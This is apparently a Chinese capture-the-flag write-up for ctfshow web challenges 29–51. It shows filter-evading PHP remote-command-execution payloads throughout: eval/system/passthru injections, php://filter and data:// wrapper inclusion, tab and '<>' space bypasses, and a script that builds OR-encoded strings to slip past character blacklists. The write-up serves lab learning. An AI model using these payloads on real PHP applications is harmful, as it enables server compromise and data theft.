ctfshow之web29~web51

web29

前瞻知识:

php 复制代码
isset() #函数用于检测变量是否已设置并且非 NULL。
php 复制代码
highlight_file(_FILE_) #它的作用是将当前文件的代码以语法高亮的形式输出到浏览器.
#该函数接受一个参数,"_FILE_",是一个特殊的变量,表示当前文件的路径。因此,这行代码的作用是将当前文件的代码以语法高亮的形式输出到浏览器。
php 复制代码
preg_match("/flag/i",$c) #preg_match 函数用于执行一个正则表达式匹配。
#这次的判断是不能出现 flag 字样,后面 i 意思是不分辨大小写。
#匹配字符串 flag,那么使用通配符、单引号(成对)等方式简单绕过。
php 复制代码
eval() #作用是将字符串当作有效的表达式来求值并返回计算结果。
#这个函数可以计算任何有效的表达式,包括数学运算、逻辑运算、变量赋值等等

通配符也叫文件名替换,它主要是作用于匹配文件名,常用命令是cat、tac、ls、find、cp、mv;

题解:

ls:查看当前目录下的文件及目录

ls /:参数/是根目录的意思,这表示显示根目录下的文件

方法一:cat命令+通配符

php 复制代码
?c=system('cat fl*');
?c=system('cat fla?.php');

cat主要有三大功能:

1.一次显示整个文件:cat filename

2.从键盘创建一个文件:cat > filename 只能创建新文件,不能编辑已有文件.

3.将几个文件合并为一个文件:cat file1 file2 > file

方法二: tac命令

tac 命令本质上是 cat 命令,但其目的是反向连接文件。
tac 命令用于按相反顺序逐行连接和打印文件内容。和 cat 命令一样,将每个文件连接到标准输出,但顺序相反,逐行打印,首先打印最后一行。

方法三:cp命令

php 复制代码
?c=system('cp fl* 1.txt');

方法四:嵌套 eval 逃逸参数

php 复制代码
?c=eval($_GET[a]);&a=system('cat flag.php');

cat需要在源码中查看,tac会输出

web30

php 复制代码
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

题目过滤掉了flag,system,php;

除了system()函数外,还有其他函数可以使用,其他师傅的总结如下:

php 复制代码
system($cmd);
assert(php语句);
preg_replace($pat,$rep,$sub)  #第一个参数,/e模式是要在正则匹配到特定特征的字符串直接当作php代码来执行,执行结果替换原字符
eval($str);
shell_exec($cmd);
exec($command, $output, $return_var)
passthru($cmd);
popen($cmd,mode);
proc_open();  #详细用法百度吧
pcntl_exec();  #如:pcntl_exec('/bin/bash','mv /tmp/test1.txt /tmp/test2.txt')
反撇号  #(shell_exec() 函数实际上仅是反撇号 (`) 操作符的变体)

可以使用shell_exec,passthru

payload:

php 复制代码
?c=passthru("ls");//找到flag.php
?c=passthru("cat fl*"); #或者?c=passthru("cat fl*")?>  php最后一条语句可以不加";"

cat/tac/cp/eval逃逸都可以使用

web31

php 复制代码
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

这里对"."和" ' "进行了转义,还限制了空格

能用嵌套eval逃逸参数

php 复制代码
?c=eval($_GET[a]);&a=passthru("tac flag.php");

或者

php 复制代码
?c=passthru("tac%09fl*");

%09(Tab)绕过空格

常见绕过替代:

%20 --代表url编码的空格,在空格过滤时可以代替。

%09--用于在输出或显示文本时在该位置产生一个固定的水平间距,类似于tab键。

%0a--代表换行符

%0b--用于在输出或显示文本时在该位置产生一个固定的垂直间距,类似于tab键。

%0c--

%0d--回车换行

%a0--代表的是非断行空格

%00--%00代表的是ASCII码中的空字符

web32(32~36)

php 复制代码
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

又增加了过滤括号

可以使用文件包含include,逃逸参数a,再使用伪协议filter

php://filter是php中独有的一种协议,它是一种过滤器,可以作为一个中间流来过滤其他的数据流。通常使用该协议来读取或者写入部分数据,且在读取和写入之前对数据进行一些过滤,例如base64编码处理,rot13处理等。

php://filter伪协议可以用于如下函数:

include()

file()

file_get_contents()

readfile()

file_put_contents()

可以用于读取、写入文件等函数,

使用方法:

php 复制代码
php://filter/过滤器|过滤器/resource=要过滤的数据流

题解:

php 复制代码
?c=include$_GET["a"]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
php 复制代码
?c=include%0a$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php
php 复制代码
?c=include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=flag.php

web33

php 复制代码
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
} 

payload:

php 复制代码
?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php

这里的%09是水平制表符tab,目的是为了绕过空格

web34

php 复制代码
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

比web33多过滤一个冒号:

同样的payload

php 复制代码
?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php

web35

php 复制代码
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

多过滤的内容不影响,payload一样

php 复制代码
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

虽然这里过滤了[0~9]这些数字,但%09会被urldecoded解码成制表符,属于不可见字符

可以绕过,同样的

payload:?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php

web36

php 复制代码
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

payload:?c=include%09$_GET[a]?>&a=pHp://FilTer/convert.base64-encode/resource=flag.php

web37

php 复制代码
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

这里有个include文件包含函数;要用到伪协议data

payload:?c=data://text/plain,<?php system("tac fla*");?>

用php:filter不行,因为resource=flag.php,我们不能使用通配符,所以也没法绕过

web38

php 复制代码
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

本来以为不影响,直接上?c=data://text/plain,<?php system("tac fla*");?> ,结果不对,

发现把php也过滤了,这里写php文件的时候,php可以用"="代替

payload:?c=data://text/plain,<?= system("tac fla*");?>

web39

php 复制代码
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

payload:?c=data://text/plain,<?= system("tac fla*");?>

web40

可以看这个师傅的blog:http://t.csdnimg.cn/lcSb2

php 复制代码
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
} 

没有过滤英文(,采用套娃形式

payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

首先通过 pos(localeconv())得到点号(.)

该方法还有如下函数可以进行替换

dirname(FILE)

current(localeconv()

reset(localeconv()

pos(localeconv()

getcwd()

scandir('.')表示得到当前目录下的文件

?c=print_r(scandir(pos(localeconv())));

array_reverse()将数组倒过来

默认指向数组下标起始位置0;

web41

php 复制代码
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
} 

这里过滤很严格,将0~9和a~z的数字,字符都过滤了

因此我们想要的字符只能用不可见字符或特殊字符的16进制进行与/或运算得到

这里建议参考这位师傅的脚本blog:http://t.csdnimg.cn/ozGf2

我这里直接把用或运算生成字符的脚本拿来了;

php 复制代码
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
    for ($j=0; $j <256 ; $j++) {

        if($i<16){
            $hex_i='0'.dechex($i);
        }
        else{
            $hex_i=dechex($i);
        }
        if($j<16){
            $hex_j='0'.dechex($j);
        }
        else{
            $hex_j=dechex($j);
        }
        //新增过滤\和@符号,因为如果用到这两个字符,那么它是不会被urldecodeed,
        //因为它不属于url中的特殊字符或不可见字符,比如\,经过urldecoded后,还是以%5c的形式存在,
        //此时会被直接过滤掉
        $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\_|\\\\|\@/i';
        if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
            echo "";
        }

        else{
            $a='%'.$hex_i;
            $b='%'.$hex_j;
            $c=(urldecode($a)|urldecode($b));
            if (ord($c)>=32&ord($c)<=126) {
                $contents=$contents.$c." ".$a." ".$b."\n";
            }
        }

    }
}
fwrite($myfile,$contents);
fclose($myfile);

生成一个rce_or.txt文件

system('ls'),('system')('ls'),("system")("ls")(system)('ls'),('system')(ls) 等效都是可以执行的。
payload:c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")

这里用hackbar提交有问题,用bp提交是可以的,

用hackbar提交,bp抓一下包,发现那个左括号和双引号也会被编码,可能问题出现在这里

抓取的数据包时这样的

但我们应该传这种参数的post

web42 (42~51)

php 复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

黑洞绕过:建议参考这位师傅的blog,讲得很详细:http://t.csdnimg.cn/DVPoX

分号绕过

payload:?c=tac flag.php;//

web43

php 复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

||绕过

payload:?c=tac flag.php||//

web44

php 复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

占位符?或者*绕过

payload:?c=tac fla?.php||//

web45

php 复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里多过滤了一个空格

空格可以用%09绕过

payload:?c=tac%09fla?.php||//

web46~web49一样

payload:?c=tac%09fla?.php||//

web50

php 复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

<>绕过空格

?c=tac<>fla''g.php||//

web51

php 复制代码
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这里将tac给过滤了,tac命令用不了,只能用其他命令

尝试?c=nl<fla?.php||//,没有输出,原来nl命令里面用不了占位符;

只能双写单引号绕过flag过滤;

payload:?c=nl<fla''.php||// #<是输入命令

或者

payload:?c=nl<>fla''g.php||// #<>是为了绕过空格

这里的flag需要到源码中查看

关于文件包含漏洞,这里推荐一位师傅写的blog:http://t.csdnimg.cn/CsWOr

相关推荐
2401_8576100330 分钟前
Spring Boot框架:电商系统的技术优势
java·spring boot·后端
希忘auto1 小时前
详解MySQL安装
java·mysql
娅娅梨1 小时前
C++ 错题本--not found for architecture x86_64 问题
开发语言·c++
汤米粥1 小时前
小皮PHP连接数据库提示could not find driver
开发语言·php
冰淇淋烤布蕾1 小时前
EasyExcel使用
java·开发语言·excel
拾荒的小海螺1 小时前
JAVA:探索 EasyExcel 的技术指南
java·开发语言
Jakarta EE1 小时前
正确使用primefaces的process和update
java·primefaces·jakarta ee
马剑威(威哥爱编程)1 小时前
哇喔!20种单例模式的实现与变异总结
java·开发语言·单例模式
白-胖-子2 小时前
【蓝桥等考C++真题】蓝桥杯等级考试C++组第13级L13真题原题(含答案)-统计数字
开发语言·c++·算法·蓝桥杯·等考·13级
好睡凯2 小时前
c++写一个死锁并且自己解锁
开发语言·c++·算法